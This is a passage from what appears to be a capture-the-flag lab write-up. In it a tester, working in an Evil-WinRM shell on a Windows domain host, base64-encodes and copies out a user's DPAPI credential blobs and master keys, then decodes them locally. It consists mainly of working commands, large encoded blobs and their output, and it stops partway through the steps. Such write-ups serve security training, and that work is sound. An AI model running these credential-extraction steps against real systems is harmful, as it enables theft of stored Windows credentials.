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

The tester copied the base64 blob and saved to local file “local-credential.b64”.

Then, the tester decoded the blob and saved to another file, without the b64 extension:

1
$ cat local-credential.b64 | base64 -d > local-credential

The tester did the same process to the second credential, located in appdata/roaming:

1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\users\c.neri\appdata\roaming\microsoft\credentials> dir -h 


    Directory: C:\users\c.neri\appdata\roaming\microsoft\credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   5:08 PM            430 C4BB96844A5C9DD45D5B6A9859252BA6


*Evil-WinRM* PS C:\users\c.neri\appdata\roaming\microsoft\credentials> [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\C.Neri\appdata\roaming\microsoft\credentials\C4BB96844A5C9DD45D5B6A9859252BA6"))
AQAAAKIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAo0HPmVKl90yo16yi1vczmwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAANlsnh9uZhRwM1xc/8CNBwwAAAAABIAAAKAAAAAQAAAAK+zRTF7v+bPA1UScG2CL4uAAAABoyaUl8s/1J1TabkeZkP1VvjzlbcQ61ojdLQpks7Q0/irEKMmlFOJ/Za2o8akFz3kS28HEeNGkg/3kGNOvhVbnZ2NJQHTJ12SgjFuAuPhdS9Ob2CvqW9xu7pDGXPt5AHKqlqRy+fajjcEYkGP0ki6sLBF/rpFnQvRQ9hCg8iVqyq3BpSdwOZ1h0Zxh8mbvDPv+XHw9+o6DabZifdfj+GuMRi+GDNLvv8orYUqHZ6hHO3vB4kDu5T4G8QsIAtULBs3V2ww1G7xdGI57BGKi4LEk6kuaEWopsCflsc5FK4a4xBQAAABSjIrXKMIH3qbzDSrnPMUzCyhkAA==

Saved the base64 blob to a file and decoded it:

1
$ cat roaming-credential.b64 | base64 -d > roaming-credential

Then, the tester headed to where the masterkeys are located, and got a hold on the first one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115> dir -h


    Directory: C:\users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   1:17 PM            740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs-          6/7/2024   1:17 PM            740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs-          6/7/2024   1:17 PM            904 BK-VINTAGE
-a-hs-          6/7/2024   1:17 PM             24 Preferred


*Evil-WinRM* PS C:\users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115> [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\C.Neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115\4dbf04d8-529b-4b4c-b4ae-8e875e4fe847"))

AgAAAAAAAAAAAAAANABkAGIAZgAwADQAZAA4AC0ANQAyADkAYgAtADQAYgA0AGMALQBiADQAYQBlAC0AOABlADgANwA1AGUANABmAGUAOAA0ADcAAAAAAAAAAAAAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAA2or8mZsV0QcGzC0XUJ9K8FBGAAAJgAAAA2YAAJhSpSk/CQYorLpjFuO6lxoHg+a9CGghh0pqkMYfO5Irop3dQGYbS2b3KJo0qLO586XfAvV/0dK/fM8a4erXENVlgtsrHRG48O/VO0Egw0qMZld65hY3jxMWTkzfGqfjNK5ytEtwPHGkAgAAAFiAHjGrO47Qhcn7oxZZBrBQRgAACYAAAANmAABRlZY9IPg0gA9TOU3DaFwm1ylSDyf2HHVE2mTqFzwbK7ZHp2XH8Mx2rvk6EpPUtdIv4kkQU6GsO43Xyg+qcks13CkP8uIIo0ECAAAAAAEAAFgAAACn2p9w/uXURbRTVVUG8NTwGUQAxdTpQrS3sEc8gVH9tmXllgaPOCz8cyowsRu8fkbCLFyIcsLVGKHQRv3PUJ1qmSeC604xcQlXI43XddWfFZ3tFF1yLQOSNwfbKDdGQiF3yTlYb6KoMvhQXzs1O1LLP2cUEFOGw8+Pg8uMN4KDBURRWfqmRksyn38bg3OKFSQ1K0CpdNzKfPvS6TnGuvHvnglzZdT5qwQ+nOdXFuJccenatjtlVgQNdp6yZOmpQjrkTtZOxz9b0JRsoOQS0NWu7WThQU4s8yeZkHaJRSJ5lohgdYpZiLJ4x1lG5jLz7/IX5pP6UK1cq5KwLjvaMdGsK9GDj3ofoB/OldTS7StCAXHfzvgjmTscAdxSARKV8ekuDWjsXgz7iZkV04lUG5Jo2FD9xrFdY1DqTSbr7oLdHAwzFBQX5RGnDhKFJXA0KJ29sz1zHGVn4/J4k0e/Hkop6YwRfEighbU=

And the second one:

1
2
*Evil-WinRM* PS C:\users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115> [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\C.Neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b"))
